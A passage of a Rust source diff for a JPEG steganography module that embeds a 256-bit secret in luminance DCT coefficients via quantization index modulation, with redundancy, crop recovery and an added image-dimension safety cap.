(2, 3), // zig-zag 14-17
|
||||
];
|
||||
|
||||
// ─── Dimension guard ─────────────────────────────────────────────────────────
|
||||
|
||||
/// Walk JPEG markers until we hit an SOF (start-of-frame) marker, which
|
||||
/// carries the image dimensions in bytes 5..=8 of its segment.
|
||||
///
|
||||
/// This peek does NOT decode any pixel data, so an oversized JPEG header is
|
||||
/// rejected in O(marker-count) time without allocating a frame buffer.
|
||||
fn peek_jpeg_dimensions(jpeg: &[u8]) -> Result<(u32, u32)> {
|
||||
let mut i = 0;
|
||||
while i + 1 < jpeg.len() {
|
||||
if jpeg[i] != 0xFF {
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
let marker = jpeg[i + 1];
|
||||
match marker {
|
||||
0xD8 | 0xD9 => {
|
||||
i += 2;
|
||||
continue;
|
||||
} // SOI / EOI
|
||||
0xC0..=0xC3 | 0xC5..=0xC7 | 0xC9..=0xCB | 0xCD..=0xCF => {
|
||||
// SOFn — height in [i+5..i+7], width in [i+7..i+9]
|
||||
if i + 8 >= jpeg.len() {
|
||||
return Err(RelicarioError::ImgSecret("truncated SOF marker".into()));
|
||||
}
|
||||
let height = u16::from_be_bytes([jpeg[i + 5], jpeg[i + 6]]) as u32;
|
||||
let width = u16::from_be_bytes([jpeg[i + 7], jpeg[i + 8]]) as u32;
|
||||
return Ok((width, height));
|
||||
}
|
||||
_ => {
|
||||
if i + 3 >= jpeg.len() {
|
||||
return Err(RelicarioError::ImgSecret("truncated marker segment".into()));
|
||||
}
|
||||
let seg_len = u16::from_be_bytes([jpeg[i + 2], jpeg[i + 3]]) as usize;
|
||||
i += 2 + seg_len;
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(RelicarioError::ImgSecret(
|
||||
"no SOF marker found in JPEG".into(),
|
||||
))
|
||||
}
|
||||
|
||||
/// Reject JPEGs that claim dimensions exceeding [`MAX_DIMENSION`].
|
||||
///
|
||||
/// Called at the entry point of both `embed` and `extract` to prevent
|
||||
/// attacker-supplied 32000×32000 images from wedging the WASM service worker
|
||||
/// during the expensive DCT extraction pass (audit M3).
|
||||
fn enforce_dimension_cap(jpeg: &[u8]) -> Result<()> {
|
||||
let (w, h) = peek_jpeg_dimensions(jpeg)?;
|
||||
if w > MAX_DIMENSION || h > MAX_DIMENSION {
|
||||
return Err(RelicarioError::ImgSecret(format!(
|
||||
"image dimensions {w}x{h} exceed {MAX_DIMENSION}x{MAX_DIMENSION} cap"
|
||||
)));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ─── YChannel ────────────────────────────────────────────────────────────────
|
||||
|
||||
/// The luminance (Y) channel of an image, stored as a flat array of f64 values.
|
||||
///
|
||||
/// We embed exclusively in the luminance channel because:
|
||||
/// - Luminance is not spatially subsampled by JPEG (unlike chrominance which
|
||||
/// is typically 4:2:0), so the full DCT block grid is available for embedding.
|
||||
/// - JPEG's chrominance subsampling would destroy embedded data by halving
|
||||
/// the spatial resolution before DCT, misaligning our block positions.
|
||||
/// - Working with a single channel keeps the DCT operations simple and fast.
|
||||
struct YChannel {
|
||||
/// Row-major luminance values. `data[y * width + x]` gives the luminance
|
||||
/// at pixel (x, y). Values are in the range [0, 255] after extraction
|
||||
/// from RGB, but may temporarily go slightly outside this range during
|
||||
/// DCT manipulation.
|
||||
data: Vec<f64>,
|
||||
width: usize,
|
||||
height: usize,
|
||||
}
|
||||
|
||||
impl YChannel {
|
||||
/// Get the luminance value at pixel (x, y).
|
||||
fn get(&self, x: usize, y: usize) -> f64 {
|
||||
self.data[y * self.width + x]
|
||||
}
|
||||
|
||||
/// Set the luminance value at pixel (x, y).
|
||||
fn set(&mut self, x: usize, y: usize, val: f64) {
|
||||
self.data[y * self.width + x] = val;
|
||||
}
|
||||
@@ -56,32 +209,50 @@ impl YChannel {
|
||||
|
||||
// ─── EmbedRegion ─────────────────────────────────────────────────────────────
|
||||
|
||||
/// Defines the central region of the image where embedding occurs.
|
||||
///
|
||||
/// The embed region is the central 70% of the image -- a 15% margin is excluded
|
||||
/// on each side. This margin acts as a "crumple zone": if the image is mildly
|
||||
/// cropped (e.g., a social media platform trims edges), the embedded data in the
|
||||
/// center remains intact. The 15% margin is sufficient to tolerate up to ~10%
|
||||
/// cropping from any single edge.
|
||||
struct EmbedRegion {
|
||||
/// Pixel offset from the left edge to the start of the embed region.
|
||||
x_offset: usize,
|
||||
/// Pixel offset from the top edge to the start of the embed region.
|
||||
y_offset: usize,
|
||||
/// Width of the embed region in pixels.
|
||||
#[allow(dead_code)]
|
||||
region_width: usize,
|
||||
/// Height of the embed region in pixels.
|
||||
#[allow(dead_code)]
|
||||
region_height: usize,
|
||||
/// Number of complete 8x8 blocks that fit horizontally in the embed region.
|
||||
blocks_x: usize,
|
||||
/// Number of complete 8x8 blocks that fit vertically in the embed region.
|
||||
blocks_y: usize,
|
||||
}
|
||||
|
||||
// ─── Helper functions ────────────────────────────────────────────────────────
|
||||
|
||||
/// Decode a JPEG from raw bytes and extract the luminance (Y) channel.
|
||||
///
|
||||
/// Converts each RGB pixel to luminance using the ITU-R BT.601 formula:
|
||||
/// `Y = 0.299*R + 0.587*G + 0.114*B`
|
||||
fn extract_y_channel(jpeg_bytes: &[u8]) -> Result<YChannel> {
|
||||
let reader = ImageReader::new(Cursor::new(jpeg_bytes))
|
||||
.with_guessed_format()
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
|
||||
let img = reader
|
||||
.decode()
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
|
||||
let rgb = img.to_rgb8();
|
||||
let (width, height) = (rgb.width() as usize, rgb.height() as usize);
|
||||
let mut data = Vec::with_capacity(width * height);
|
||||
for y in 0..height {
|
||||
for x in 0..width {
|
||||
let p = rgb.get_pixel(x as u32, y as u32);
|
||||
// ITU-R BT.601 luma coefficients
|
||||
let luma = 0.299 * p[0] as f64 + 0.587 * p[1] as f64 + 0.114 * p[2] as f64;
|
||||
data.push(luma);
|
||||
}
|
||||
@@ -93,10 +264,15 @@ fn extract_y_channel(jpeg_bytes: &[u8]) -> Result<YChannel> {
|
||||
})
|
||||
}
|
||||
|
||||
/// Compute the embed region for a YChannel (convenience wrapper).
|
||||
fn central_region(y: &YChannel) -> EmbedRegion {
|
||||
compute_region(y.width, y.height)
|
||||
}
|
||||
|
||||
/// Compute the central embed region for given image dimensions.
|
||||
///
|
||||
/// The region excludes a 15% margin on each side, leaving the central 70%.
|
||||
/// The margin acts as a crumple zone for crop tolerance.
|
||||
fn compute_region(width: usize, height: usize) -> EmbedRegion {
|
||||
let margin_x = (width as f64 * 0.15) as usize;
|
||||
let margin_y = (height as f64 * 0.15) as usize;
|
||||
@@ -116,6 +292,11 @@ fn compute_region(width: usize, height: usize) -> EmbedRegion {
|
||||
}
|
||||
}
|
||||
|
||||
/// Read an 8x8 pixel block from the Y channel at absolute pixel coordinates.
|
||||
///
|
||||
/// Returns `None` if the block would extend beyond the image boundaries
|
||||
/// (used during crop-recovery extraction where some blocks may have been
|
||||
/// cropped away).
|
||||
fn read_block_abs(y: &YChannel, px: usize, py: usize) -> Option<[[f64; 8]; 8]> {
|
||||
if px + 8 > y.width || py + 8 > y.height {
|
||||
return None;
|
||||
@@ -129,12 +310,16 @@ fn read_block_abs(y: &YChannel, px: usize, py: usize) -> Option<[[f64; 8]; 8]> {
|
||||
Some(block)
|
||||
}
|
||||
|
||||
/// Read an 8x8 block from the Y channel using block coordinates relative to
|
||||
/// the embed region.
|
||||
fn read_block(y: &YChannel, bx: usize, by: usize, region: &EmbedRegion) -> [[f64; 8]; 8] {
|
||||
let start_x = region.x_offset + bx * BLOCK_SIZE;
|
||||
let start_y = region.y_offset + by * BLOCK_SIZE;
|
||||
read_block_abs(y, start_x, start_y).unwrap()
|
||||
}
|
||||
|
||||
/// Write an 8x8 block back to the Y channel using block coordinates relative
|
||||
/// to the embed region.
|
||||
fn write_block(y: &mut YChannel, bx: usize, by: usize, region: &EmbedRegion, block: &[[f64; 8]; 8]) {
|
||||
let start_x = region.x_offset + bx * BLOCK_SIZE;
|
||||
let start_y = region.y_offset + by * BLOCK_SIZE;
|
||||
@@ -146,7 +331,22 @@ fn write_block(y: &mut YChannel, bx: usize, by: usize, region: &EmbedRegion, blo
|
||||
}
|
||||
|
||||
// ─── DCT ─────────────────────────────────────────────────────────────────────
|
||||
//
|
||||
// The Discrete Cosine Transform (DCT) converts a spatial-domain signal (pixel
|
||||
// values) into a frequency-domain representation (coefficients). JPEG compression
|
||||
// itself uses the 8x8 Type-II DCT, so working in the same domain lets us embed
|
||||
// data where JPEG's own quantization is least destructive.
|
||||
//
|
||||
// We implement the DCT from scratch (rather than depending on a library) to keep
|
||||
// the crate dependency-light and WASM-friendly. The 8x8 size is small enough
|
||||
// that the naive O(N^2) computation is fast.
|
||||
|
||||
/// 1D Type-II DCT of an 8-element signal.
|
||||
///
|
||||
/// Applies the orthonormal DCT-II:
|
||||
/// X[k] = c(k) * sum_{i=0}^{7} x[i] * cos((2i+1)*k*pi/16)
|
||||
///
|
||||
/// where c(0) = sqrt(1/8) and c(k) = sqrt(2/8) for k > 0.
|
||||
fn dct1d(input: &[f64; 8]) -> [f64; 8] {
|
||||
let mut output = [0.0f64; 8];
|
||||
for k in 0..8 {
|
||||
@@ -164,6 +364,10 @@ fn dct1d(input: &[f64; 8]) -> [f64; 8] {
|
||||
output
|
||||
}
|
||||
|
||||
/// 1D Type-III DCT (inverse DCT) of an 8-element signal.
|
||||
///
|
||||
/// Reconstructs the spatial-domain signal from DCT coefficients:
|
||||
/// x[i] = sum_{k=0}^{7} c(k) * X[k] * cos((2i+1)*k*pi/16)
|
||||
fn idct1d(input: &[f64; 8]) -> [f64; 8] {
|
||||
let mut output = [0.0f64; 8];
|
||||
for i in 0..8 {
|
||||
@@ -181,11 +385,18 @@ fn idct1d(input: &[f64; 8]) -> [f64; 8] {
|
||||
output
|
||||
}
|
||||
|
||||
/// 2D DCT of an 8x8 block, computed as separable 1D DCTs.
|
||||
///
|
||||
/// First applies the 1D DCT to each row, then to each column of the result.
|
||||
/// This is mathematically equivalent to the full 2D DCT but faster (O(N^3)
|
||||
/// instead of O(N^4) for the naive 2D formulation).
|
||||
fn dct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
|
||||
// Step 1: DCT along rows
|
||||
let mut temp = [[0.0f64; 8]; 8];
|
||||
for row in 0..8 {
|
||||
temp[row] = dct1d(&block[row]);
|
||||
}
|
||||
// Step 2: DCT along columns
|
||||
let mut result = [[0.0f64; 8]; 8];
|
||||
for col in 0..8 {
|
||||
let mut column = [0.0f64; 8];
|
||||
@@ -200,7 +411,12 @@ fn dct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
|
||||
result
|
||||
}
|
||||
|
||||
/// 2D inverse DCT of an 8x8 block, computed as separable 1D inverse DCTs.
|
||||
///
|
||||
/// Reverses the 2D DCT: first applies IDCT along columns, then along rows.
|
||||
/// (The order is reversed compared to the forward transform.)
|
||||
fn idct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
|
||||
// Step 1: IDCT along columns
|
||||
let mut temp = [[0.0f64; 8]; 8];
|
||||
for col in 0..8 {
|
||||
let mut column = [0.0f64; 8];
|
||||
@@ -212,6 +428,7 @@ fn idct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
|
||||
temp[row][col] = transformed[row];
|
||||
}
|
||||
}
|
||||
// Step 2: IDCT along rows
|
||||
let mut result = [[0.0f64; 8]; 8];
|
||||
for row in 0..8 {
|
||||
result[row] = idct1d(&temp[row]);
|
||||
@@ -220,7 +437,28 @@ fn idct2_8x8(block: &[[f64; 8]; 8]) -> [[f64; 8]; 8] {
|
||||
}
|
||||
|
||||
// ─── QIM ─────────────────────────────────────────────────────────────────────
|
||||
//
|
||||
// Quantization Index Modulation (QIM) is the core technique for encoding bits
|
||||
// into DCT coefficients. It works by quantizing each coefficient to one of two
|
||||
// interleaved grids, where the grid selection encodes the bit value.
|
||||
//
|
||||
// For bit 0: quantize to the nearest multiple of Q (grid: ..., -Q, 0, Q, 2Q, ...)
|
||||
// For bit 1: quantize to the nearest multiple of Q, offset by Q/2 (grid: ..., -Q/2, Q/2, 3Q/2, ...)
|
||||
//
|
||||
// Extraction simply measures which grid the coefficient is closest to.
|
||||
//
|
||||
// QIM is preferred over spread-spectrum or LSB methods because it is:
|
||||
// - Robust to recompression (the quantization step is larger than JPEG's own)
|
||||
// - Simple to implement and analyze
|
||||
// - Deterministic (no pseudo-random spreading sequence to synchronize)
|
||||
|
||||
/// Embed a single bit into a DCT coefficient using QIM.
|
||||
///
|
||||
/// Quantizes the coefficient to the nearest point on the grid selected by `bit`:
|
||||
/// - `bit=0`: grid at multiples of `q` (i.e., 0, q, 2q, ...)
|
||||
/// - `bit=1`: grid at multiples of `q` offset by `q/2` (i.e., q/2, 3q/2, ...)
|
||||
///
|
||||
/// The returned value is the modified coefficient.
|
||||
fn qim_embed(coef: f64, bit: u8, q: f64) -> f64 {
|
||||
let offset = if bit == 1 { q / 2.0 } else { 0.0 };
|
||||
let shifted = coef - offset;
|
||||
@@ -228,8 +466,15 @@ fn qim_embed(coef: f64, bit: u8, q: f64) -> f64 {
|
||||
quantized + offset
|
||||
}
|
||||
|
||||
/// Extract a single bit from a DCT coefficient using QIM.
|
||||
///
|
||||
/// Computes the distance from the coefficient to each grid (bit-0 grid and
|
||||
/// bit-1 grid) and returns whichever grid is closer. This is the ML (maximum
|
||||
/// likelihood) decoder for QIM under additive noise.
|
||||
fn qim_extract(coef: f64, q: f64) -> u8 {
|
||||
// Distance to the nearest bit-0 grid point
|
||||
let d0 = (coef - (coef / q).round() * q).abs();
|
||||
// Distance to the nearest bit-1 grid point (offset by q/2)
|
||||
let offset = q / 2.0;
|
||||
let shifted = coef - offset;
|
||||
let d1 = (shifted - (shifted / q).round() * q).abs();
|
||||
@@ -238,6 +483,10 @@ fn qim_extract(coef: f64, q: f64) -> u8 {
|
||||
|
||||
// ─── Bit conversion ──────────────────────────────────────────────────────────
|
||||
|
||||
/// Convert a byte slice to a vector of individual bits (MSB first).
|
||||
///
|
||||
/// Each byte is expanded to 8 bits, with bit 7 (MSB) first.
|
||||
/// Example: `[0xCA]` -> `[1, 1, 0, 0, 1, 0, 1, 0]`
|
||||
fn bytes_to_bits(bytes: &[u8]) -> Vec<u8> {
|
||||
let mut bits = Vec::with_capacity(bytes.len() * 8);
|
||||
for &byte in bytes {
|
||||
@@ -248,6 +497,9 @@ fn bytes_to_bits(bytes: &[u8]) -> Vec<u8> {
|
||||
bits
|
||||
}
|
||||
|
||||
/// Convert a vector of individual bits (MSB first) back to bytes.
|
||||
///
|
||||
/// Pads the last byte with zeros if the bit count is not a multiple of 8.
|
||||
fn bits_to_bytes(bits: &[u8]) -> Vec<u8> {
|
||||
let mut bytes = Vec::with_capacity((bits.len() + 7) / 8);
|
||||
for chunk in bits.chunks(8) {
|
||||
@@ -263,7 +515,18 @@ fn bits_to_bytes(bits: &[u8]) -> Vec<u8> {
|
||||
// ─── Block selection ─────────────────────────────────────────────────────────
|
||||
|
||||
/// Compute the absolute pixel positions of embed blocks for a given image size.
|
||||
/// Returns Vec<(px, py)> — top-left corners of 8×8 blocks.
|
||||
///
|
||||
/// This function deterministically maps image dimensions to a list of block
|
||||
/// positions. Both the embedder and extractor call this function with the same
|
||||
/// dimensions to agree on where blocks are. During crop recovery, the extractor
|
||||
/// tries different assumed original dimensions to find the correct grid.
|
||||
///
|
||||
/// Returns `Vec<(px, py)>` -- top-left corners of 8x8 blocks in pixel coordinates.
|
||||
/// Returns an empty vec if the image is too small to embed.
|
||||
///
|
||||
/// Blocks are selected with even spacing (stride) across the embed region to
|
||||
/// spread the watermark uniformly, making it more resilient to localized damage.
|
||||
/// The number of copies is capped at 50 to avoid diminishing returns.
|
||||
fn compute_embed_positions(img_width: usize, img_height: usize) -> Vec<(usize, usize)> {
|
||||
let region = compute_region(img_width, img_height);
|
||||
let total_blocks = region.blocks_x * region.blocks_y;
|
||||
@@ -273,6 +536,7 @@ fn compute_embed_positions(img_width: usize, img_height: usize) -> Vec<(usize, u
|
||||
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
|
||||
let target_count = num_copies * BLOCKS_PER_COPY;
|
||||
|
||||
// Stride ensures blocks are evenly distributed across the embed region
|
||||
let stride = (total_blocks / target_count).max(1);
|
||||
let mut positions = Vec::with_capacity(target_count);
|
||||
let mut idx = 0;
|
||||
@@ -287,11 +551,17 @@ fn compute_embed_positions(img_width: usize, img_height: usize) -> Vec<(usize, u
|
||||
positions
|
||||
}
|
||||
|
||||
/// Select embed blocks using block-coordinate indices relative to the embed region.
|
||||
///
|
||||
/// Similar to [`compute_embed_positions`] but returns `(bx, by)` block indices
|
||||
/// rather than absolute pixel positions. Used during embedding where block
|
||||
/// coordinates are more convenient for the read_block/write_block API.
|
||||
fn select_embed_blocks(region: &EmbedRegion, target_count: usize) -> Vec<(usize, usize)> {
|
||||
let total_blocks = region.blocks_x * region.blocks_y;
|
||||
if total_blocks == 0 || target_count == 0 {
|
||||
return Vec::new();
|
||||
}
|
||||
// Even stride distributes blocks uniformly across the region
|
||||
let stride = (total_blocks / target_count).max(1);
|
||||
let mut blocks = Vec::with_capacity(target_count);
|
||||
let mut idx = 0;
|
||||
@@ -306,13 +576,24 @@ fn select_embed_blocks(region: &EmbedRegion, target_count: usize) -> Vec<(usize,
|
||||
|
||||
// ─── Reconstruct JPEG ────────────────────────────────────────────────────────
|
||||
|
||||
/// Reconstruct a JPEG image after modifying its luminance channel.
|
||||
///
|
||||
/// This function takes the original JPEG (for its Cb/Cr chrominance data) and
|
||||
/// the modified Y channel, then:
|
||||
///
|
||||
/// 1. Decodes the original JPEG to get per-pixel Cb and Cr values.
|
||||
/// 2. For each pixel, combines the modified Y with the original Cb/Cr.
|
||||
/// 3. Converts YCbCr back to RGB using the ITU-R BT.601 inverse formula.
|
||||
/// 4. Re-encodes as JPEG at quality 92 (high enough to preserve the watermark).
|
||||
///
|
||||
/// Only the luminance changes; chrominance is preserved from the original.
|
||||
fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u8>> {
|
||||
let reader = ImageReader::new(Cursor::new(original_jpeg))
|
||||
.with_guessed_format()
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
|
||||
let img = reader
|
||||
.decode()
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
|
||||
let rgb = img.to_rgb8();
|
||||
let (width, height) = (rgb.width(), rgb.height());
|
||||
|
||||
@@ -325,12 +606,15 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
|
||||
let g = orig[1] as f64;
|
||||
let b = orig[2] as f64;
|
||||
|
||||
// Extract Cb and Cr from the original pixel (we only modify Y)
|
||||
let _y_orig = 0.299 * r + 0.587 * g + 0.114 * b;
|
||||
let cb = -0.168736 * r - 0.331264 * g + 0.5 * b + 128.0;
|
||||
let cr = 0.5 * r - 0.418688 * g - 0.081312 * b + 128.0;
|
||||
|
||||
// Use the modified Y value from our watermarked luminance channel
|
||||
let y_new = y_modified.get(px as usize, py as usize);
|
||||
|
||||
// Convert YCbCr -> RGB using ITU-R BT.601 inverse
|
||||
let r_new = y_new + 1.402 * (cr - 128.0);
|
||||
let g_new = y_new - 0.344136 * (cb - 128.0) - 0.714136 * (cr - 128.0);
|
||||
let b_new = y_new + 1.772 * (cb - 128.0);
|
||||
@@ -351,18 +635,40 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
|
||||
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
|
||||
encoder
|
||||
.write_image(output.as_raw(), width, height, image::ExtendedColorType::Rgb8)
|
||||
.map_err(|e| IdfotoError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
|
||||
.map_err(|e| RelicarioError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
|
||||
Ok(buf)
|
||||
}
|
||||
|
||||
// ─── Public API ──────────────────────────────────────────────────────────────
|
||||
|
||||
/// Embed a 256-bit secret into a carrier JPEG. Returns modified JPEG bytes.
|
||||
/// Embed a 256-bit secret into a carrier JPEG image.
|
||||
///
|
||||
/// Returns the modified JPEG bytes with the secret hidden in the luminance
|
||||
/// channel's mid-frequency DCT coefficients.
|
||||
///
|
||||
/// ## Pipeline
|
||||
///
|
||||
/// 1. Decode the carrier and extract the Y (luminance) channel.
|
||||
/// 2. Validate that the image is large enough (>= 100x100 pixels, and enough
|
||||
/// blocks in the central region for at least 5 redundant copies).
|
||||
/// 3. Compute how many copies fit (up to 50) and select evenly-spaced blocks.
|
||||
/// 4. For each copy, iterate through the 22 blocks that hold 256 bits:
|
||||
/// - Forward DCT the 8x8 block.
|
||||
/// - Embed 12 bits per block into the mid-frequency coefficients via QIM.
|
||||
/// - Inverse DCT to write the modified spatial-domain values back.
|
||||
/// 5. Reconstruct the JPEG with the modified Y channel and original Cb/Cr.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// - [`RelicarioError::ImageTooSmall`] if the image is below minimum dimensions
|
||||
/// or does not have enough blocks for reliable embedding.
|
||||
/// - [`RelicarioError::ImgSecret`] if the image cannot be decoded or re-encoded.
|
||||
pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
|
||||
enforce_dimension_cap(carrier_jpeg)?;
|
||||
let mut y = extract_y_channel(carrier_jpeg)?;
|
||||
|
||||
if (y.width as u32) < MIN_DIMENSION || (y.height as u32) < MIN_DIMENSION {
|
||||
return Err(IdfotoError::ImageTooSmall {
|
||||
return Err(RelicarioError::ImageTooSmall {
|
||||
min_width: MIN_DIMENSION,
|
||||
min_height: MIN_DIMENSION,
|
||||
actual_width: y.width as u32,
|
||||
@@ -374,7 +680,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
|
||||
let total_blocks = region.blocks_x * region.blocks_y;
|
||||
|
||||
if total_blocks < BLOCKS_PER_COPY * MIN_COPIES {
|
||||
return Err(IdfotoError::ImageTooSmall {
|
||||
return Err(RelicarioError::ImageTooSmall {
|
||||
min_width: MIN_DIMENSION,
|
||||
min_height: MIN_DIMENSION,
|
||||
actual_width: y.width as u32,
|
||||
@@ -382,12 +688,15 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
|
||||
});
|
||||
}
|
||||
|
||||
// Cap at 50 copies -- beyond that, additional redundancy has diminishing
|
||||
// returns and the image modification becomes more visible.
|
||||
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
|
||||
let bits = bytes_to_bits(secret);
|
||||
|
||||
let blocks_needed = num_copies * BLOCKS_PER_COPY;
|
||||
let embed_blocks = select_embed_blocks(®ion, blocks_needed);
|
||||
|
||||
// Embed each copy of the secret into its assigned blocks
|
||||
for copy in 0..num_copies {
|
||||
for block_idx in 0..BLOCKS_PER_COPY {
|
||||
let global_idx = copy * BLOCKS_PER_COPY + block_idx;
|
||||
@@ -398,6 +707,8 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
|
||||
let mut block = read_block(&y, bx, by, ®ion);
|
||||
let mut dct = dct2_8x8(&block);
|
||||
|
||||
// Embed up to 12 bits (BITS_PER_BLOCK) in this block's
|
||||
// mid-frequency DCT coefficients
|
||||
for (pos_idx, &(row, col)) in EMBED_POSITIONS.iter().enumerate() {
|
||||
let bit_idx = block_idx * BITS_PER_BLOCK + pos_idx;
|
||||
if bit_idx >= SECRET_BITS {
|
||||
@@ -414,14 +725,32 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
|
||||
reconstruct_jpeg(carrier_jpeg, &y)
|
||||
}
|
||||
|
||||
/// Extract a 256-bit secret from a (possibly re-encoded/cropped) JPEG.
|
||||
/// Extract a 256-bit secret from a (possibly re-encoded or mildly cropped) JPEG.
|
||||
///
|
||||
/// Delegates to [`extract_with_crop_recovery`] which first tries canonical
|
||||
/// extraction (assuming the image has its original dimensions), then falls back
|
||||
/// to searching for plausible original dimensions if the image was cropped.
|
||||
///
|
||||
/// # Errors
|
||||
///
|
||||
/// - [`RelicarioError::ExtractionFailed`] if no valid secret could be recovered
|
||||
/// (image was never watermarked, or was too heavily recompressed/cropped).
|
||||
pub fn extract(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
|
||||
enforce_dimension_cap(jpeg_bytes)?;
|
||||
extract_with_crop_recovery(jpeg_bytes)
|
||||
}
|
||||
|
||||
/// Try to extract using a specific assumed original image size and pixel offset.
|
||||
/// `orig_w`/`orig_h` determine the block layout (which blocks, how many copies).
|
||||
/// `dx`/`dy` shift all block positions when reading from the actual image.
|
||||
/// Attempt to extract the secret assuming specific original image dimensions
|
||||
/// and a pixel offset (for crop recovery).
|
||||
///
|
||||
/// The block grid is computed based on `orig_w`/`orig_h` (the assumed original
|
||||
/// dimensions), and then each block position is shifted by `dx`/`dy` when
|
||||
/// reading from the actual (possibly cropped) image.
|
||||
///
|
||||
/// Uses majority voting across all copies: for each of the 256 bit positions,
|
||||
/// the extracted bit from every copy votes, and the majority wins. A minimum
|
||||
/// confidence threshold of 60% is required -- below that, the extraction is
|
||||
/// considered unreliable and fails.
|
||||
fn try_extract_with_layout(
|
||||
y: &YChannel,
|
||||
orig_w: usize,
|
||||
@@ -431,13 +760,14 @@ fn try_extract_with_layout(
|
||||
) -> Result<[u8; 32]> {
|
||||
let positions = compute_embed_positions(orig_w, orig_h);
|
||||
if positions.is_empty() {
|
||||
return Err(IdfotoError::ExtractionFailed);
|
||||
return Err(RelicarioError::ExtractionFailed);
|
||||
}
|
||||
|
||||
let region = compute_region(orig_w, orig_h);
|
||||
let total_blocks = region.blocks_x * region.blocks_y;
|
||||
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
|
||||
|
||||
// Accumulate votes for each bit position across all copies
|
||||
let mut votes_one = vec![0usize; SECRET_BITS];
|
||||
let mut votes_total = vec![0usize; SECRET_BITS];
|
||||
|
||||
@@ -447,6 +777,8 @@ fn try_extract_with_layout(
|
||||
if global_idx >= positions.len() {
|
||||
break;
|
||||
}
|
||||
// Apply crop offset to find the actual block position in the
|
||||
// (possibly cropped) image
|
||||
let (orig_px, orig_py) = positions[global_idx];
|
||||
let actual_px = orig_px as isize + dx;
|
||||
let actual_py = orig_py as isize + dy;
|
||||
@@ -462,6 +794,7 @@ fn try_extract_with_layout(
|
||||
};
|
||||
let dct = dct2_8x8(&block);
|
||||
|
||||
// Extract bits from mid-frequency coefficients and tally votes
|
||||
for (pos_idx, &(row, col)) in EMBED_POSITIONS.iter().enumerate() {
|
||||
let bit_idx = block_idx * BITS_PER_BLOCK + pos_idx;
|
||||
if bit_idx >= SECRET_BITS {
|
||||
@@ -476,18 +809,20 @@ fn try_extract_with_layout(
|
||||
}
|
||||
}
|
||||
|
||||
// Majority vote with confidence check
|
||||
// Majority vote with confidence check: each bit must have >= 60% agreement
|
||||
// across copies. Below that threshold, the watermark is considered too
|
||||
// degraded for reliable extraction.
|
||||
let mut result_bits = vec![0u8; SECRET_BITS];
|
||||
for i in 0..SECRET_BITS {
|
||||
if votes_total[i] == 0 {
|
||||
return Err(IdfotoError::ExtractionFailed);
|
||||
return Err(RelicarioError::ExtractionFailed);
|
||||
}
|
||||
let ones = votes_one[i];
|
||||
let zeros = votes_total[i] - ones;
|
||||
let majority = ones.max(zeros);
|
||||
let confidence = majority as f64 / votes_total[i] as f64;
|
||||
if confidence < 0.60 {
|
||||
return Err(IdfotoError::ExtractionFailed);
|
||||
return Err(RelicarioError::ExtractionFailed);
|
||||
}
|
||||
result_bits[i] = if ones > zeros { 1 } else { 0 };
|
||||
}
|
||||
@@ -498,14 +833,27 @@ fn try_extract_with_layout(
|
||||
Ok(secret)
|
||||
}
|
||||
|
||||
/// Extract with automatic crop recovery.
|
||||
///
|
||||
/// Tries extraction in order of decreasing likelihood:
|
||||
///
|
||||
/// 1. **Uncropped**: assume the image has its original dimensions (most common case).
|
||||
/// 2. **Width-only crop (8-pixel aligned)**: try original widths from current up to
|
||||
/// +20%, stepping by 8 pixels (JPEG block alignment). Assumes right-side crop
|
||||
/// (left edge unchanged, dx=0).
|
||||
/// 3. **Height-only crop (8-pixel aligned)**: same strategy for vertical crops.
|
||||
/// 4. **Width crop (non-aligned)**: finer 1-pixel step for non-block-aligned crops.
|
||||
///
|
||||
/// The search space is limited to 20% expansion in each dimension, which covers
|
||||
/// the 15% crumple zone plus some margin for measurement error.
|
||||
fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
|
||||
let y = extract_y_channel(jpeg_bytes)?;
|
||||
|
||||
if (y.width as u32) < MIN_DIMENSION || (y.height as u32) < MIN_DIMENSION {
|
||||
return Err(IdfotoError::ExtractionFailed);
|
||||
return Err(RelicarioError::ExtractionFailed);
|
||||
}
|
||||
|
||||
// Try assuming the image is uncropped (original size = current size)
|
||||
// Try 1: assume the image is uncropped (original size = current size)
|
||||
